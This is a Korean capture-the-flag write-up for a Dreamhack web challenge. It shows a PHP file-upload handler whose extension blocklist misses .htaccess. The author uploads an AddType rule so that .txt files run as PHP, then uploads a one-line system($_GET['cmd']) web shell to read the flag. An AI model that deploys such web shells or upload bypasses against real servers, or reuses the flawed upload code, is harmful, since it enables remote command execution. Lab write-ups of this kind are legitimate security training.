SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] Apache htaccess

SlowTurtle_ 2023. 1. 11. 17:34
728x90

[Dreamhack] Apache htaccess

코드를 보자.

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

.htaccess파일 설정기능은 .txt, .jpg 등의 파일을 php로 인식하도록 설정할 수 있다. 이 문제에서 .htaccess에 대해서 아무런 조치를 취하지 않기때문에 .txt파일을 php파일로 인식하도록 설정하여 업로드해보자.

우선 .htaccess파일을 만들어 업로드했다.

AddType application/x-httpd-php .txt

위는 .htaccess파일의 소스코드이다.

 

slow.txt파일을 만들었다.

<?php

system($_GET["cmd"])

?>

위는 slow.txt파일에 담긴 시스템 명령을 수행하도록 하는 코드이다.

이 안에 cmd를 수행하는 웹셸을 만들어 업로드했다.

cmd를 수행하여 flag파일을 찾았다.

실행만 가능한 파일로 있으니 실행시켜보면 flag값을 획득할 수 있다.

728x90

'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글

[Dreamhack] weblog-1  (0) 2023.01.23
[Dreamhack] Tomcat Manager  (0) 2023.01.22
[Dreamhack] File Vulnerability Advanced for linux  (0) 2023.01.11
[Dreamhack] Command Injection Advanced  (0) 2023.01.11
[Dreamhack] phpMyRedis  (0) 2023.01.11